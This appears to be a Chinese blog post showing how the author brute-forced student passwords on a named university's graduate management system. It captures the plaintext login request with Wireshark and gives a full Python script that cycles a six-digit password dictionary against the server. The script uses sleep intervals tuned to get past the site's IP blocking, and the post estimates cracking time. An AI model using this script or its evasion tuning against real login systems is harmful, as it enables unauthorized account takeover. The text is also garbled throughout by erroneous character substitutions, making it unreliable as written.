網絡攻防研究第001篇:嘗試暴力破解某高校研究生管理系統學生密碼

前言

       若是你是在校大學生,並且還對網絡攻防比較感興趣的話,相信你最開始嘗試滲透的莫過於所在院校的學生管理系統。由於通常來講這樣的系統每每比較薄弱,拿來練手那是再合適不過的了。做爲本系列的第一篇文章,我將會利用暴力破解的方式,嘗試對某高校的研究生管理系統的學生密碼進行破解。因爲這個管理系統的網站屬於該高校的內網資源,外網是沒法訪問的,所以你們就不要嘗試按照文中的內容來對文中出現的網址進行訪問了。利用本文所論述的暴力破解思想,能夠幫助你們更好地認識咱們的網絡,也有助於瞭解目標網站是否安全。那麼在這裏須要再三強調的是,文中所提內容僅做技術交流之用,請不要拿它來作壞事。python

 

登陸的基本原理

       相信無論是哪一個院校的管理系統,都必然會有一個登錄界面,用於輸入學號以及密碼。只有在兩者全都正確的前提下,纔可以成功地登陸,不然就登陸失敗。本文所研究的學生管理系統也不例外,其界面以下所示:數據庫

 

       不知道你們有沒有想過,當咱們將用戶ID和密碼填寫進相應的位置,而後登陸這個學生管理系統時,系統作了什麼呢?儘管我並無深刻研究過目標系統的實現機制,可是通常來講,界面會將用戶ID和密碼這兩個信息發送到服務器,而後服務器就能夠在數據庫中匹配兩者是否存在以及兩者是否爲對應的關係。若是用戶ID和密碼有效,服務器就會發回一個用於表示驗證成功的數據包,從而容許用戶進入管理系統;若是匹配失敗,服務器也會發送用於表示登陸失敗的數據包,拒絕用戶的登陸請求,並給出相應的提示。編程

       可見,這個原理仍是很是簡單的。那麼咱們須要作的就是弄清楚在登錄的時候,系統到底是發送了什麼樣的數據包到服務器,而且還須要知道服務器對於登陸成功和失敗這兩種狀況,分別會回覆怎樣的數據包。那麼只要可以肯定這一來一回的數據內容,咱們就有可能利用暴力破解的方式解析出某個用戶名所對應的密碼了。瀏覽器

 

登陸數據包的分析

       爲了獲取系統所收發的數據包,那麼就必然須要使用網絡分析工具。這裏我所使用的是 Wireshark這款工具,它是目前最爲流行的網絡數據包分析軟件。首先來到研究生登陸界面,輸入用戶ID以及密碼,先不進行登陸,開啓Wireshark的監控功能,最後再單擊「登陸」按鈕。能夠發現,此時Wireshark會捕獲到很是多的數據包,可是其實其中的絕大部分是與咱們的登陸無關的,所以這裏須要利用篩選器來篩選出咱們須要的數據包。好比能夠在篩選條件中輸入:ip.addr==172.21.96.120,這樣就只會剩下與IP地址爲172.21.96.120相關的數據包了,從而便於咱們接下來的分析。這個IP地址其實就是咱們所研究的目標系統的IP地址。或者也能夠在純淨的虛擬機中進行登陸,而後在宿主計算機中開啓Wireshark對虛擬機進行監控,那麼這樣所捕獲到的數據包基本上都是與登陸相關的了,無需再次進行篩選。下圖就是我利用虛擬機登陸所捕獲到的數據包:安全

       這裏咱們主要留意紅框中的內容,首先第一個紅框中的三個數據包,表示TCP鏈接時的三次握手的過程,經過這個就能夠確認,鏈接已經創建,就能夠與目標主機進行下一步的操做了。而第二個紅框中的內容則是一個POST請求,是由我方發出的,並須要由遠端的服務器進行處理。其實也就是當點擊了「登陸」按鈕後,發送到服務器的一個最爲重要的數據包,是咱們關注的重點。接下來咱們來詳細分析一下這個數據包的內容,在這個數據包上單擊鼠標右鍵,選擇「追蹤流」->」TCP流」,那麼就能夠打開「追蹤TCP流」對話框:服務器

 

       這裏須要說明的是,紅色字體部分是我方發往服務器端的數據包的內容,也就是一個POST請求,而藍色字體部分是服務器的回覆。查看一下紅色字體部分,能夠看到最後一行以明文的形式出現了登陸的用戶名(USER)以及密碼(PASSWORD),那麼很明顯,這裏是該管理系統的一個安全隱患。網絡

       因爲此次的登陸,咱們的用戶ID以及密碼是正確的,因而就回復了上述內容,那麼若是輸入錯誤,會返回什麼樣的數據包呢,這裏不妨抓包分析一下:app

 

       首先,兩者的紅色字體部分是徹底一致的,可是藍色字體部分則出現了顯著的差異。對比就能夠知道,若是登陸成功,那麼返回的數據包中會包含有Location,也就是重定向字段,說明用戶ID以及密碼驗證成功,容許用戶訪問Location後面的網址,而該網址正是管理系統的真身。所以,咱們在接下來的編程中,只要斷定返回的數據包中是否包含有Location這個字符串,那麼就能夠知道登陸是否成功了。socket

       那麼在登陸失敗的時候,返回的數據包(上圖中的藍色字體內容)表示的是什麼呢?不妨看一下在登陸失敗的時候,瀏覽器中顯示的網頁的狀況:工具

 

       能夠看到,這裏顯示的依舊是登錄界面,不一樣的是在界面的下方顯示出登陸失敗的提示。若是說查看這個網頁的代碼,就會發現網頁的代碼與在Wireshark中經過抓包返回的內容是一致的。

       能夠總結一下,爲了實現暴力破解,咱們能夠嘗試不斷地向服務器發送紅色字體的POST數據包,其中USER的內容就是想要破解的學號信息,而PASSWORD的內容則是密碼。若是說你們想批量學號進行破解,那麼能夠將想要破解的學號保存在一個文件裏面。可是這裏我爲了簡單起見,只嘗試破解一個學號,所以這個學號的內容就直接填寫到想要發送的數據包裏面。而PASSWORD部分則須要利用密碼字典,將密碼保存在文件中,而後程序須要不斷地按序提取密碼,填寫到數據包裏面發送。若是收到的回覆裏面並不包含有Location,則繼續發送數據包,直至找到密碼爲止,最後再將密碼顯示出來。那麼以後的編程,就會依據這個思想進行。

 

程序的編寫

       爲了簡單起見,這裏我使用Python來編寫程序,完整的程序以下:

 

# -*- coding: utf-8 -*-
import socket
import time

# 待發送的數據包,注意這裏的PASSWORD爲空
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n" \
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" \
          "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n" \
          "Accept-Language: zh-cn\r\n" \
          "Content-Type: application/x-www-form-urlencoded\r\n" \
          "Accept-Encoding: gzip, deflate\r\n" \
          "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n" \
          "Host: yjsgl.bjut.edu.cn\r\n" \
          "Content-Length: 47\r\n" \
          "Connection: Keep-Alive\r\n" \
          "Cache-Control: no-cache\r\n" \
          "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n" \
          "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="		  

i = 0
# 目標服務器的IP地址以及想要鏈接的端口
target_host = '172.21.96.120'
target_port = 80
# 打開字典文件並逐行讀取		  
for password in open('C:\\superdic.txt'):
    # 若是已經驗證了100個密碼,則休息30秒,並將計數器清零
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
	# 創建一個socket對象
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 鏈接客戶端
    client.connect((target_host, target_port))
    # 組成最終的數據包
    strPacket = strPost + password		  
	# 發送數據包
    client.send(strPacket)
    # 接收返回的數據包
    response = client.recv(1024)
    # 每驗證完一條密碼就休息0.3秒
    time.sleep(0.3)
	# 查找返回的數據包中是否包含有Location字段
    if response.find('Location') != -1:
        # 若是包含有Location字段,則把密碼打印出來
        print password
        # 找到正確的密碼就跳出循環
        break

 

       因爲Python寫的程序自己就很通俗易懂,所以這裏並不須要對程序做過多的解釋。可是有幾個問題須要說明一下:

       一、若是說想要在程序中使用中文的註釋,那麼就必需要加入# -*- coding: utf-8 -*-,也就是上述程序中的第一行內容。

       二、待發送的數據包其實就是直接在Wireshark的「追蹤TCP流」對話框中直接拷貝過來的(紅色字體部分)。這裏須要強調的是,每一行的末尾都有一對甚至兩對「\r\n」。這是由於標準的HTTP數據包中,就是以「\r\n」做爲一行的結尾的。在Wireshark中的數據窗口能夠很明顯地看到(「\r\n」的ASCII碼是0x0d和0x0a):

 

       所以你們在實際的分析過程當中,必定要看清楚每一行的末尾究竟有多少個「\r\n」。這些細節若是不重視的話,極可能就得不到想要返回的數據包了。

       三、程序中有一個for循環,這個循環只有在找到正確的密碼,或者驗證完密碼字典中的全部密碼,依舊沒找到正確密碼的狀況下,纔會退出。每次執行這個for循環,都會從新創建TCP鏈接,而後再發送測試的數據包。這裏須要注意的是,不能只創建一次TCP鏈接,而後不斷地向目標服務器發送測試數據包。由於這樣的話,從第二個測試數據包開始,服務器所返回的數據包就是未知的了。咱們最開始經過Wireshark抓包測試時的流程就是先創建TCP鏈接,而後再發送一個測試數據包,而不是在創建鏈接後,不斷地發送數據包。因此在程序的編寫時,必定要注意究竟應該把TCP鏈接的創建代碼放在什麼位置,以免出錯。

       四、程序中的用戶名(USER)已經被我隱去,使用了十個x取代。而密碼(PASSWORD)是六位的數字。那麼爲了生成密碼字典,我這裏使用的是superdic這款軟件,它能夠幫助咱們很輕鬆地生成各類各樣的密碼字典。經過設置基本字符(0~9)以及密碼位數(6位),就能夠獲得一個包含有密碼的txt文件,在這個文件中,一行保存有一個密碼。那麼在個人測試中,我將這個密碼字典放在了C盤的根目錄中。程序在執行的時候,就會打開這個密碼文件,逐行讀取密碼,組成數據包不斷地發送進行測試。

 

程序的測試

       暴力破解實際上是一種最簡單的測試方式,以瞭解目標網站是否安全。那麼對於此次所研究的管理系統而言,其實仍是採起了一些措施來對抗暴力破解的。爲何這麼說呢?其實上述程序是在我通過屢次的嘗試以後才最終肯定的。我在解釋上述程序時,並無講解爲何要調用兩次sleep語句,由於這與目標網站的自我保護機制相關。

       其實最開始我是沒有加入sleep語句的,那麼在程序運行後,在不斷地發包進行暴力破解的時候,我發現過不了多久,程序就會提示出錯,意思是在創建鏈接的時候出現了問題:

       這個時候若是利用Wireshark進行抓包,就會獲得如下內容:

 

       這些數據包是以黑色做爲底色顯示的,說明它們是不正常的數據包。能夠看到,前六個數據包不斷地嘗試利用本機的7527到7532號端口來與目標主機創建TCP的SYN鏈接,也就是TCP鏈接的第一次握手。可是本機遲遲沒有收到由目標計算機發回來的確認數據包,因而接下來的12個數據包其實就是針對於前六個數據包的重傳(TCP Retransmission),每一個數據包都會重傳兩次,最終依舊沒有收到回覆,纔會放棄鏈接。那麼其實這也就解釋了爲何Python程序會返回鏈接不成功的錯誤,遠程服務器遲遲不予回覆,那麼天然後面的測試數據包也就不會發送了。說明這是遠程服務器採起的一種自我保護的措施,一旦發現有人嘗試利用暴力破解,那麼在接收必定數量的數據包以後,就會拒絕對攻擊者進行回覆了。我認爲服務器應該是將攻擊者的IP地址加入了黑名單。通過實際測試能夠知道,IP地址會被封鎖1個小時。

       那麼接下來就須要弄清楚究竟在必定的時間內,發送多少個數據包纔是安全的,或者數據包與數據包之間的安全時間間隔是多少。關於這個問題,你們能夠根據本身的實際狀況,抓包分析,看看到底是在通過了多少個數據包以後,遠程服務器纔會拒絕請求。那麼針對於我當前所研究的網站而言,經過不斷的測試,我這裏將數據包與數據包之間的發送間隔設定爲0.3秒(程序的第二個sleep語句),而且每發送100個數據包,則休息30秒(程序的第一個sleep語句),在這種狀況下,進行大量的測試數據包的發送,就不會出現封鎖IP的狀況了。

       最後不妨計算一下,在最壞的狀況下,破解一個用戶的密碼須要多長時間。首先,六位純數字的密碼,一共會有1000000種組合的可能性。因爲每發送100個數據包就須要休息30秒,那麼一共就須要休息30*(1000000/100)也就是300000秒。從發送第一個鏈接數據包到收到驗證成功或者失敗的回覆,因爲受限於網絡的狀況,所以並不固定,這裏不妨假設是0.1秒,而數據包與數據包之間的間隔是0.3秒,也就是說每一個數據包還須要0.3+0.1也就是0.4秒的時間,0.4*1000000則是400000秒,這樣就能夠知道,爲了破解一個用戶的密碼,須要700000秒,也就大概是8.1天。那麼也就說明了,該研究生管理系統在應對暴力破解方面,其實仍是採起了比較好的策略的。

 

總結

       經過暴力破解的測試,咱們能夠了解到目標網站的安全機制究竟怎樣。儘管不少時候,暴力破解是沒有辦法的辦法,有時也是比較經常使用的方法。如何應對暴力破解,究竟應當採起怎樣的規則策略,也是見仁見智。能夠看到,在密碼只有6位純數字的狀況下,最壞狀況還須要8.1天才可以成功實現破解,這也就說明了,若是採起數字與字母組合,加大密碼位數,對於安全的重要性是不言而喻的。固然了,畢竟暴力破解是一種比較低端的作法,將來我還會討論更多的方式實現網絡的滲透與破解。畢竟網絡安全知識是一把雙刃劍,安全人員也是必需要掌握黑客可能會使用的技術,從而針對這些技術實施安全防護的。

 

 

 

     《從蘇寧電器到卡巴斯基》終稿完整版,請訪問

       https://user.qzone.qq.com/3149487460/blog/1494822165

相關文章
相關標籤/搜索